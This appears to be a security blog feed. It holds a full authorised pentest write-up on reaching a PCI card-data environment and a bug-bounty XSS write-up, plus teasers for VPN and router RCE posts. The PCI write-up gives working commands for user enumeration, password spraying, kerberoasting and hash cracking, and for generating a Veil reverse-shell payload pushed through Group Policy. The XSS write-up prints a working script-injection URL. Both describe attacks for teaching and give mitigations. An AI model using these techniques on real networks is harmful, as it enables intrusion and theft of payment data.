Normal view

There are new articles available, click to refresh the page.
Before yesterdayWeb App

Gaining Access to Card Data Using the Windows Domain to Bypass Firewalls

24 April 2019 at 20:02

This post details how to bypass firewalls to gain access to the Cardholder Data Environment (or CDE, to use the parlance of our times). End goal: to extract credit card data.

Without intending to sound like a Payment Card Industry (PCI) auditor, credit card data should be kept secure on your network if you are storing, transmitting or processing it. Under the PCI Data Security Standard (PCI-DSS), cardholder data can be sent across your internal network, however, it is much less of a headache if you implement network segmentation. This means you won’t have to have the whole of your organisation in-scope for your PCI compliance. This can usually be achieved by firewalling the network ranges dealing with card data, the CDE, from the rest of your organisation’s network.

Hopefully, the above should outline the basics of a typical PCI setup in case you are not familiar. Now onto the fun stuff.

The company I tested a few years ago had a very large network, all on the standard 10.0.0.0/8 range. Cardholder data was on a separate 192.168.0.0/16 range, firewalled from the rest of the company. Note that all details, including ranges have been changed for the purposes of this post. The CDE mostly consisted of call centre operatives taking telephone orders, and entering payment details into a form on an externally operated web application.

This was an internal test, therefore we were connected to the company’s internal office network on the 10.0.0.0/8 range. Scanning the CDE from this network location with ping and port scans yielded no results:

no-ping

no-ports

The ping scan is basically the same as running the ping command but nmap can scan a whole range with one run. The “hosts up” in the second command’s output relate to the fact we’ve given nmap the -Pn argument to tell it not to first ping, therefore nmap will report all hosts in the range as “up” even though they might not be (an nmap quirk).

So unless there was a firewall rule bypass vulnerability, or a weak password for the firewall that could be guessed, going straight in through this route seemed unlikely. Therefore, the first step of the compromise was to concentrate on taking control of Active Directory by gaining Domain Admin privileges.

Becoming Domain Admin

There are various ways to do this, such as this one in my previous post.

In this instance, kerberoast was utilised to take control of the domain. A walk through of the attack, starting off from a position of unauthenticated on the domain follows.

The first step in compromising Active Directory usually involves gaining access to any user account, at any level. As long as it can authenticate to the domain controller in some way, we’re good. In Windows world, all accounts should be able to authenticate with the domain controller, even if they have no permissions to actually do anything on it. At a most basic level, even the lowest privileged accounts need to validate that the password is correct when the user logs in, so this is a reason it works that way.

At this customer’s site, null sessions were enabled on the domain controller. In this case, our domain controller is 10.0.12.100, “PETER”. This allows the user list to be enumerated using tools like enum4linux, revealing the username of every user on the domain:

$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt

enum-started

enum-found

Now we have a user list, we can parse it into a usable format:

$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'

enum-extracted-users

You may have noticed I’m not into the whole brevity thing. Yes, you can accomplish this with awk, grep, sed and/or even Perl with many fewer characters, however, if I’m on a penetration test I tend to just use whatever works and save my brain power for achieving the main goal. If I’m writing a script that I’m going to use long term, I may be tempted to optimise it a bit, but for pentesting I tend to bash out commands until I get what I need (pun intended).

Now on the actual test. The network is huge, with over 25,000 active users. However, in my lab network we only have a handful, which should make it easier to demonstrate the hack.

Now we have the user list parsed into a text file, we can then use a tool such as CrackMapExec to guess passwords. Here we will guess if any of the users have “Password1” as their password. Surprisingly enough, this meets the default complexity rules of Active Directory as it contains three out of the four character types (uppercase, lowercase and number).

$ cme smb 10.0.12.100 -u users.txt -p Password1

Wow we have a hit:

cme-password-found

Note that if we want to keep guessing and find all accounts, we can specify the --continue-on-success flag:

cme-continue

So we’ve gained control of a single account. Now we can query Active Directory and bring down a list of service accounts. Service accounts are user accounts that are for… well… services. Think of things like the Microsoft SQL Server. When running, this needs to run under the context of a user account. Active Directory’s Kerberos authentication system can be used to provide access, and therefore a “service ticket” is provided by Active Directory to allow users to authenticate to it. Kerberos authentication is outside the scope of this post, however, this is a great write-up if you want to learn more.

Anywho, by requesting the list of Kerberos service accounts from the domain controller, we also get a “service ticket” for each. This service ticket is encrypted using the password of the service account. So if we can crack it, we will be able to use that account, which is usually of high privilege. The Impacket toolset can be used to request these:

$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100

spns

As we can see, one of the accounts is a member of Domain Admins, so this would be a great password to crack.

$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

After running hashcat against it, it appears we have found the plaintext password:

spn-cracked

To confirm that this is an actual active account, we can use CrackMapExec again.

$ cme smb 10.0.12.100 -u redrum -p 'murder1!'

spn-user-da

Wahoo, the Pwn3d! shows we have administrator control over the domain controller.

OK, how to use it to get at that lovely card data?

Now, unfortunately for this company, the machines the call centre agents were using within the CDE to take phone orders were on this same Active Directory domain. And although we can’t connect to these machines directly, we can now tell the domain controller to get them to talk to us. To do this we need to dip into Group Policy Objects (GPOs). GPOs allow global, or departmental, settings to be applied to both user and computers. Well, it’s more than that really, however, for the purposes of this post you just need to know that it allows control of computers in the domain on a global or granular level.

Many of the functions of GPO are used to manage settings of the organisational IT. For example, setting a password policy or even setting which desktop icons appear for users (e.g. a shortcut to open the company’s website). Another GPO allows “immediate scheduled tasks” to be run. This is what we’re doing here… Creating a script which will run in the call centre, and connect back to the our machine, giving us control. Here are the steps to accomplish this:

  1. Generate a payload. Here we’re using Veil Evasion. Our IP address is 10.0.12.1, so we’ll point the payload to connect back to us at this address.
    $ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell veil

  2. Login to the domain controller over Remote Desktop Protocol (RDP), using the credentials we have from kerberoasting.
    rdp

  3. Find the CDE in Active Directory. From our knowledge of the organisation, we know that the call centre agents work on floor 2. We notice Active Directory Users and Computers (ADUC) has an OU of this name:
    aduc-floor2

  4. Drop in the script we made from Veil into a folder, and share this on the domain controller. Set permissions on both the share and the directory to allow all domain users to read.
    dc-share

  5. Within GPO, we create a policy at this level:
    gpo-1

  6. Find the Scheduled Tasks option while editing this new GPO, and create a new Immediate Scheduled Task:
    gpo-2

  7. Create the task to point to the version saved in the share. Also set “Run in logged-on user’s security context” under “common”.
    task

Done!

I waited 15 minutes and nothing happened. I know that group policy can take 90 minutes, plus or minus 30 to update, but I was thinking that at least one machine would have got the new policy by now (note, if testing this in a lab you can use gpupdate /force). Then I waited another five. I was just about to give up and change tack, then this happened:

meterpreter-opened

Running the command to take a screenshot, returned exactly what the call centre agent was entering at the time… card data!:

card-data

Card data was compromised, and the goal of the 11.3 PCI penetration test was accomplished.

If we have a look at the session list, we can see that the originating IP is from the 192.168.0.0/16 CDE range:

metasploit-sessions

On the actual test the shells just kept coming, as the whole of the second floor sent a shell back. There was something in the region of 60-100 Meterpreter shells that were opened.

Note that Amazon is used in my screenshot, which is nothing to do with the organisation I’m talking about. In the real test, a script was setup in order to capture screenshots upon a shell connecting (via autorunscript), then we could concentrate on the more interesting sessions, such as those that were part way through the process and were about to reach the card data entry phase.

There are other ways of getting screenshots like use espia in Meterpreter, and Metasploit’s post/windows/gather/screen_spy.

There are methods of doing the GPO programatically, which I have not yet tried such as New-GPOImmediateTask in PowerView.

The mitigation for this would to always run the CDE on its own separate Active Directory domain. Note that not even a forest is fine. Of course, defence-in-depth measures of turning off null sessions, encouraging users to select strong passwords and making sure that any service accounts have crazy long passwords (20+ characters, completely random) are all good. Also detecting if any users go and request all service tickets in one go, or creating a honeypot service account that could be flagged if anyone requests the service ticket could help too. No good keeping card holder data safe if a hacker can get to the rest of your organisation.

Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

17 July 2019 at 12:27
Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_) P.S. This is a cross-post blog from DEVCORE SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take

Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

9 August 2019 at 20:53
Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361) This is also the cross-post blog from DEVCORE Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you! Infiltrating Corporate Intranet Like NSA: Pre-auth

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

2 September 2019 at 14:00
Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_) P.S. This is a cross-post blog from DEVCORE Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you: Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as

An analysis and thought about recently PHP-FPM RCE(CVE-2019-11043)

29 October 2019 at 16:45
First of all, this is such a really interesting bug! From a small memory defect to code execution. It combines both binary and web technique so that’s why it interested me to trace into. This is just a simple analysis, you can also check the bug report and the author neex’s exploit to know the original story :D Originally, this write-up should be published earlier, but I am now traveling and

你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞

11 November 2019 at 10:15
For non-native readers, this is a writeup of my DEVCORE Conference 2019 talk. Describe a misconfiguration that exposed a magic service on port 3097 on our country's largest ISP, and how we find RCE on that to affect more than 250,000 modems :P 大家好,我是 Orange! 這次的文章,是我在 DEVCORE Conference 2019 上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞! 前言 身為 DEVCORE 的研究團隊,我們的工作

XSS Hunting

3 March 2020 at 08:55

This post documents one of my findings from a bug bounty program. The program had around 20 web applications in scope. Luckily the first application I chose was a treasure trove of bugs, so that kept me busy for a while. When I decided to move on, I picked another one at random, which was the organisation’s recruitment application.

I found a cross-site scripting (XSS) vulnerability via an HTML file upload, but unfortunately the program manager marked this as a duplicate. In case you’re not familiar with bug bounties, this is because another researcher had found and logged the vulnerability with the program manager before me, and only the first submission on any valid bug is considered for reward.

After sifting through the site a few times, it appeared that all the low hanging fruit had gone. Time to bring out the big guns.

This time it’s in the form of my new favourite fuzzer ffuf.

ffuf -w /usr/share/wordlists/dirb/big.txt -u https://rob-sec-1.com/FUZZ -o Ffuf/Recruitment.csv -X HEAD -of csv

This is like the directory fuzzers of old, like dirb and dirbuster, however, it is written in Go, which is much much faster.

What this tool will do is try to enumerate different directories within the application, replacing FUZZ with items from the big.txt list of words. If we sneak peek a sample of this file:

$ shuf -n 10 /usr/share/wordlists/dirb/big.txt
odds
papers
diamonds
beispiel
comunidades
webmilesde
java-plugin
65
luntan
oldshop

…ffuf wil try URL paths such as https://rob-sec-1.com/odds, https://rob-sec-1.com/papers https://rob-sec-1.com/diamonds, etc, and report on what it finds. The -X parameter tells it to use the HEAD HTTP method, which will only retrieve HTTP headers from the target site rather than full pages. Usually retrieving HEAD will be enough to determine whether that hidden page exists or not. The thing I like most about ffuf, is the auto calibrate option, which determines “what is normal” for an application to return. I’ve not used this option here, but if you pass the -ac parameter (I don’t recommend this with -x HEAD), it will grab a few random URL paths of its own to see if the application follows the web standard of returning HTTP 404 errors for non-existent pages, or whether it returns something else. In the latter case, if something non-standard is returned, ffuf will often determine what makes this response unique, and tune its engine to only output results that are different than usual, and thus worthy of investigation. This will use page response size as one of the factors, which is the reason that I don’t recommend that -x HEAD is used, as this does not return the body nor its size, therefore auto calibration will be heavily restricted.

Anyway, back to the application. Ffuf running:

Ffuf runnung

Running the above generated the following CSV that we can read from the Linux terminal using the column command:

column -s, -t Ffuf/Recruitment.csv

Ffuf output

The result I have highlighted above jumped out at me. Third party tools deployed to a web application can be a huge source of vulnerabilities, as the code can often be dropped in without review, and as it is working, tends to get forgotten about and never updated. A quick Google revealed that this was in fact from a software package called ZeroEditor, and was probably not just a directory made on the site:

Google

Note that, as usual, I have anonymised and recreated the details of the application, the third party software, and the vulnerability in my lab. Details have been changed to protect the vulnerable. If you Google this you won’t find an ASP.NET HTML editor as the first result, and my post has nothing to do with the websites and applications that are returned.

From the third party vendor’s website I downloaded the source code that was available in a zip, and then used the following command to turn the installation directory structure into my own custom wordlist:

find . -type f > ../WebApp/ZeroEditor-Fuzz-All.txt

In this file I noticed lots of “non-dangerous” file types such as those in the “Images” directory, so I filtered this like so:

cat ZeroEditor-Fuzz-All.txt | grep -v 'Images' > ZeroEditor-Fuzz-No-Images.txt

Now we can see the top few lines from the non-filtered, and the filtered custom word lists for this editor:

Filter

Now we can run ffuf again, this time using the custom word list we made:

ffuf -w ZeroEditor-Fuzz-No-Images.txt -u https://rob-sec-1.com/ZeroEditor/FUZZ -o Ffuf/Recruitment-ZeroEditor-Fuzz.csv -X HEAD -of csv -H 'User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0' -t 1

This time we are only running one thread (-t 1), as from our earlier fuzzing we can tell the web app or its server isn’t really up to much performance wise, so in this instance we are happy to go slow.

Ffuf with Custom List

and we can show in columns as before:

Ffuf columnds with Custom List

My attention was drawn to the last two results. An ASPX - could there be something juicy in there? Also a Shockwave Flash file. I did actually decompile the latter, but it turned out just to be a standard Google video player, and I couldn’t find any XSS or anything else that interesting in the code.

Going back to Spell-Check-Dialog.aspx. What could we do here, with this discovered file?

Loading the page directly gave the following:

Spellchecker Page

Initially my go-to would have been param-miner, which can find hidden parameters like i did here using wfuzz. The difference is that param-miner is faster as it will try multiple parameters at once by employing a binary search, and it will also use an algorithmic approach for detecting differences in content without you having to specify what the baseline is (similar to Ffuf in this regard).

But we don’t need to do that as I already have the source code! I could do a code analysis to look for vulnerabilities ourselves.

Examining the code I found the following that reflected a parameter:

<asp:panel id="DialogFrame" runat="server" visible="False" enableviewstate="False">
            <iframe id="SpellFrame" name="SpellFrame" src="Spell-Check-Dialog.aspx?ZELanguage=<%=Request.Params["ZELanguage"]%>" frameborder="0" width="500" scrolling="no" height="340" style="width:500;height:340"></iframe>
        </asp:panel>

That is the code <%=Request.Params["ZELanguage"]%> outputs ZELanguage from the query string or POST data without doing the thing that mitigates cross-site scripting - output encoding.

However, when I went ahead and passed the query string for ZELanguage nothing happened:

https://rob-sec-1.com/ZeroEditor/Spell-Check-Dialog.aspx?ZELanguage=FOOBAR

No XSS

I guessed this could be due to the default visible="False" in the above asp:panel tag. After further examination I found the code to make DialogFrame visible:

  void Page_Init(object sender, EventArgs e)
    {
         // show iframe when needed for MD support
         if (Request.Params["MD"] != null)
         {
             this.DialogFrame.Visible = true;
             return;
         }         

In summary, it looked like I just needed to set MD to something as well. Hence from the hidden page I found the two hidden query string parameters: MD=true&ZELanguage=FOOBAR.

And reviewing the code to find out how it worked enabled me to construct the new query string:

https://rob-sec-1.com/ZeroEditor/Spell-Check-Dialog.aspx?MD=true&ZELanguage=FOOBAR"></iframe><script>alert(321)</script>

Bingo, XSS:

XSS

This would have been mitigated if the vendor had encoded on output: <%=Server.HTMLEncode(Request.Params["ZELanguage"]) %>

There was another file in the downloaded zip that if present could possibly have allowed Server-Side Request Forgery (SSRF) or directory traversal, however, this was not found during fuzzing of the target, suggesting it has been deleted after deployment. There were also some directory manipulation pieces of code within Spell-Check-Dialog.aspx that takes user input as part of the path, however, it doesn’t appear to be doing anything too crazy with the file and it also has a static file extension appended making it of limited use. That leaves us with XSS for now, and although I have found some more juicy findings on the bug bounty program, they are more difficult to recreate in a lab environment. It would be nice to release them should the program manager’s client allow this in future.

Timeline

  • 27 December 2019: Reported to the program manager.
  • 29 December 2019: Triaged by the program manager.
  • 03 March 2020: Reported to vendor of HTML Editor as it occurred to me to check whether the latest version was vulnerable when writing this post. A cursory glance suggested it was. No details of any vulnerable targets disclosed to vendor, as the code itself is vulnerable.
  • 28 April 2020: Rewarded $400 from bug bounty program.
  • TBA: Response from vendor.
  • 19 May 2020: Post last updated.

How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

12 September 2020 at 09:25
Author: Orange TsaiThis is a cross-post blog from DEVCORE.&nbsp;中文版請參閱這裡 Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and

Building a lab with ModSecurity and DVWA.

29 June 2022 at 12:06
I've been meaning to build a ModSecurity lab for a while and seeing as I had some free time I decided it was about time to do it and to document it for everyone to share. The lab I built uses an up-to-date version of ModSecurity with a rule set taken from the SpiderLabs github repo and, so there is something to attack, I've included DVWA.

The second part of my introduction to using ZAP to test WebSockets, this part focuses on fuzzing.

29 June 2022 at 12:06
The following article is part two of my introduction to ZAP and testing WebSockets, in this episode I'll cover fuzzing. If you've not used ZAP before I suggest you look at some of the official tutorials first - ZAP home page, Videos. You can find my first part here OWASP ZAP and Web Sockets. The testing is being done against a small WebSockets based app I wrote called SocketToMe which has a few published services along with a few unpublished ones. In this article we are going to look at one of the published ones and try to identify some of the unpublished ones. The first feature I'll investigate is the number guessing game. Here the system picks a random number between 1 and 100 and you have to guess it. I'm going to cheat and see if I can get ZAP to play all 100 numbers for me to go for a quick win.

Setting up a RIPv1 lab in GNS3 and then exploiting it to poison routes between two machines.

29 June 2022 at 12:06
In this lab I'm going to look at RIPv1, probably the most basic routing protocol. As with the VLAN labs I'm building this one in GNS3 and linking it to a Virtual Box machine running Debian. The plan is to build a network with three routers all using RIP to sync their routing information. I'll then use the attacking box to inject a fake route into the network and so divert traffic away from its real target. If you are not familiar with RIP it is hop based system where each hop is a unit and traffic is routed across the shortest number of hops.
❌
❌